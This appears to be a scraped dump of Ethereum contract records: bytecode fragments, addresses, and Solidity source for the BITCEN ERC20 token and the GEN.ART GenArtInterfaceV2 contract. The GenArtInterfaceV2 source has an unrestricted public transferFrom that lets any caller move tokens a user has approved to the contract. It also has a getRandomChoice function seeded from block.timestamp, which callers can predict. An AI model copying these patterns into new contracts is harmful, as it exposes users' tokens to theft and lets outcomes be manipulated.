ffffffffffffffffff1663a9059cbb60e01b17905261064090849060006107c5826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166108219092919063ffffffff16565b805190915015610640578080602001905160208110156107e457600080fd5b50516106405760405162461bcd60e51b815260040180806020018281038252602a815260200180610a85602a913960400191505060405180910390fd5b60606108308484600085610838565b949350505050565b6060824710156108795760405162461bcd60e51b8152600401808060200182810382526026815260200180610a3e6026913960400191505060405180910390fd5b61088285610993565b6108d3576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b602083106109115780518252601f1990920191602091820191016108f2565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610973576040519150601f19603f3d011682016040523d82523d6000602084013e610978565b606091505b5091509150610988828286610999565b979650505050505050565b3b151590565b606083156109a8575081610707565b8251156109b85782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a025781810151838201526020016109ea565b50505050905090810190601f168015610a2f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a164736f6c6343000706000a
[ 16, 5 ]
0xf3687f373f1c80b80a5921c0f2d41dd9f63ede1f
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.4.8; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract BITCEN is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function BITCEN() public { symbol = "BTE"; name = "BITCEN"; decimals = 18; _totalSupply = 19000000000000000000000000; balances[0xeC5f4a8Ac0928f8621c842DDE0a2b6D7DEccad72] = _totalSupply; Transfer(address(0), 0xeC5f4a8Ac0928f8621c842DDE0a2b6D7DEccad72, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETHs // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a7230582056bd22c88bae43308711704139ae826c57983c0d5b6f94169430a5c86990dd650029
[ 2 ]
0xf368f333fdbc6393e617eeb6adc421b5de352cc8
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IGenArt { function getTokensByOwner(address owner) external view returns (uint256[] memory); function ownerOf(uint256 tokenId) external view returns (address); function isGoldToken(uint256 _tokenId) external view returns (bool); } interface IGenArtCollection { function mintGen( address _to, uint256 _groupId, uint256 _membershipId ) external; function mint( address _to, uint256 _groupId, uint256 _membershipId ) external; function mintMany( address _to, uint256 _groupId, uint256 _membershipId, uint256 _amount ) external; function mintManyGen( address _to, uint256 _groupId, uint256 _membershipId, uint256 _amount ) external; function getAllowedMintForMembership(uint256 _group, uint256 _membershipId) external view returns (uint256); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * Interface to the GEN.ART Membership and Governance Token Contracts */ contract GenArtInterfaceV2 is Ownable { IGenArt private _genArtMembership; IERC20 private _genArtToken; bool private _genAllowed = false; constructor(address genArtMembershipAddress_) { _genArtMembership = IGenArt(genArtMembershipAddress_); } function getMaxMintForMembership(uint256 _membershipId) public view returns (uint256) { _genArtMembership.ownerOf(_membershipId); bool isGold = _genArtMembership.isGoldToken(_membershipId); return (isGold ? 5 : 1); } function getMaxMintForOwner(address owner) public view returns (uint256) { uint256[] memory tokenIds = _genArtMembership.getTokensByOwner(owner); uint256 maxMint = 0; for (uint256 i = 0; i < tokenIds.length; i++) { maxMint += getMaxMintForMembership(tokenIds[i]); } return maxMint; } function upgradeGenArtTokenContract(address _genArtTokenAddress) public onlyOwner { _genArtToken = IERC20(_genArtTokenAddress); } function setAllowGen(bool allow) public onlyOwner { _genAllowed = allow; } function isGoldToken(uint256 _membershipId) public view returns (bool) { return _genArtMembership.isGoldToken(_membershipId); } function genAllowed() public view returns (bool) { return _genAllowed; } function ownerOf(uint256 _membershipId) public view returns (address) { return _genArtMembership.ownerOf(_membershipId); } function balanceOf(address _owner) public view returns (uint256) { return _genArtToken.balanceOf(_owner); } function transferFrom( address _from, address _to, uint256 _amount ) public { _genArtToken.transferFrom(_from, _to, _amount); } function getRandomChoice(uint256[] memory choices, uint256 seed) public view returns (uint256) { require( choices.length > 0, "GenArtInterfaceV2: choices must have at least 1 value" ); if (choices.length == 1) return choices[0]; uint256 i = (( uint256( keccak256(abi.encodePacked(block.timestamp, seed, msg.sender)) ) ) % choices.length) + 1; return choices[i - 1]; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018b5780638da5cb5b146101bb578063b5e94411146101d9578063f2fde38b14610209578063f4ed4d1514610225578063f8c6c1c814610255576100b4565b80631a715d0f146100b957806323b872dd146100d557806329e97e7d146100f15780635c84d3661461010d5780636352211e1461013d5780636feaa9661461016d575b600080fd5b6100d360048036038101906100ce9190610f35565b610285565b005b6100ef60048036038101906100ea9190610e3d565b61031e565b005b61010b60048036038101906101069190610de3565b6103d5565b005b61012760048036038101906101229190610ed9565b610495565b60405161013491906111b7565b60405180910390f35b61015760048036038101906101529190610f8f565b610582565b60405161016491906110ea565b60405180910390f35b610175610636565b604051610182919061113c565b60405180910390f35b6101a560048036038101906101a09190610de3565b61064d565b6040516101b291906111b7565b60405180910390f35b6101c3610701565b6040516101d091906110ea565b60405180910390f35b6101f360048036038101906101ee9190610de3565b61072a565b60405161020091906111b7565b60405180910390f35b610223600480360381019061021e9190610de3565b61083a565b005b61023f600480360381019061023a9190610f8f565b610932565b60405161024c919061113c565b60405180910390f35b61026f600480360381019061026a9190610f8f565b6109e6565b60405161027c91906111b7565b60405180910390f35b61028d610b5d565b73ffffffffffffffffffffffffffffffffffffffff166102ab610701565b73ffffffffffffffffffffffffffffffffffffffff1614610301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102f890611177565b60405180910390fd5b80600260146101000a81548160ff02191690831515021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161037d93929190611105565b602060405180830381600087803b15801561039757600080fd5b505af11580156103ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103cf9190610f62565b50505050565b6103dd610b5d565b73ffffffffffffffffffffffffffffffffffffffff166103fb610701565b73ffffffffffffffffffffffffffffffffffffffff1614610451576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044890611177565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808351116104da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d190611197565b60405180910390fd5b60018351141561050757826000815181106104f8576104f761143d565b5b6020026020010151905061057c565b600060018451428533604051602001610522939291906110ad565b6040516020818303038152906040528051906020012060001c61054591906113ae565b61054f9190611234565b90508360018261055f919061128a565b815181106105705761056f61143d565b5b60200260200101519150505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004016105df91906111b7565b60206040518083038186803b1580156105f757600080fd5b505afa15801561060b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062f9190610e10565b9050919050565b6000600260149054906101000a900460ff16905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b81526004016106aa91906110ea565b60206040518083038186803b1580156106c257600080fd5b505afa1580156106d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106fa9190610fbc565b9050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340398d67846040518263ffffffff1660e01b815260040161078891906110ea565b60006040518083038186803b1580156107a057600080fd5b505afa1580156107b4573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906107dd9190610e90565b90506000805b825181101561082f5761080f8382815181106108025761080161143d565b5b60200260200101516109e6565b8261081a9190611234565b9150808061082790611337565b9150506107e3565b508092505050919050565b610842610b5d565b73ffffffffffffffffffffffffffffffffffffffff16610860610701565b73ffffffffffffffffffffffffffffffffffffffff16146108b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ad90611177565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90611157565b60405180910390fd5b61092f81610b65565b50565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f4ed4d15836040518263ffffffff1660e01b815260040161098f91906111b7565b60206040518083038186803b1580156109a757600080fd5b505afa1580156109bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109df9190610f62565b9050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b8152600401610a4391906111b7565b60206040518083038186803b158015610a5b57600080fd5b505afa158015610a6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a939190610e10565b506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f4ed4d15846040518263ffffffff1660e01b8152600401610af191906111b7565b60206040518083038186803b158015610b0957600080fd5b505afa158015610b1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b419190610f62565b905080610b4f576001610b52565b60055b60ff16915050919050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000610c3c610c37846111f7565b6111d2565b90508083825260208201905082856020860282011115610c5f57610c5e6114a0565b5b60005b85811015610c8f5781610c758882610db9565b845260208401935060208301925050600181019050610c62565b5050509392505050565b6000610cac610ca7846111f7565b6111d2565b90508083825260208201905082856020860282011115610ccf57610cce6114a0565b5b60005b85811015610cff5781610ce58882610dce565b845260208401935060208301925050600181019050610cd2565b5050509392505050565b600081359050610d1881611594565b92915050565b600081519050610d2d81611594565b92915050565b600082601f830112610d4857610d4761149b565b5b8135610d58848260208601610c29565b91505092915050565b600082601f830112610d7657610d7561149b565b5b8151610d86848260208601610c99565b91505092915050565b600081359050610d9e816115ab565b92915050565b600081519050610db3816115ab565b92915050565b600081359050610dc8816115c2565b92915050565b600081519050610ddd816115c2565b92915050565b600060208284031215610df957610df86114aa565b5b6000610e0784828501610d09565b91505092915050565b600060208284031215610e2657610e256114aa565b5b6000610e3484828501610d1e565b91505092915050565b600080600060608486031215610e5657610e556114aa565b5b6000610e6486828701610d09565b9350506020610e7586828701610d09565b9250506040610e8686828701610db9565b9150509250925092565b600060208284031215610ea657610ea56114aa565b5b600082015167ffffffffffffffff811115610ec457610ec36114a5565b5b610ed084828501610d61565b91505092915050565b60008060408385031215610ef057610eef6114aa565b5b600083013567ffffffffffffffff811115610f0e57610f0d6114a5565b5b610f1a85828601610d33565b9250506020610f2b85828601610db9565b9150509250929050565b600060208284031215610f4b57610f4a6114aa565b5b6000610f5984828501610d8f565b91505092915050565b600060208284031215610f7857610f776114aa565b5b6000610f8684828501610da4565b91505092915050565b600060208284031215610fa557610fa46114aa565b5b6000610fb384828501610db9565b91505092915050565b600060208284031215610fd257610fd16114aa565b5b6000610fe084828501610dce565b91505092915050565b610ff2816112be565b82525050565b611009611004826112be565b611380565b82525050565b611018816112d0565b82525050565b600061102b602683611223565b9150611036826114cd565b604082019050919050565b600061104e602083611223565b91506110598261151c565b602082019050919050565b6000611071603583611223565b915061107c82611545565b604082019050919050565b611090816112fc565b82525050565b6110a76110a2826112fc565b6113a4565b82525050565b60006110b98286611096565b6020820191506110c98285611096565b6020820191506110d98284610ff8565b601482019150819050949350505050565b60006020820190506110ff6000830184610fe9565b92915050565b600060608201905061111a6000830186610fe9565b6111276020830185610fe9565b6111346040830184611087565b949350505050565b6000602082019050611151600083018461100f565b92915050565b600060208201905081810360008301526111708161101e565b9050919050565b6000602082019050818103600083015261119081611041565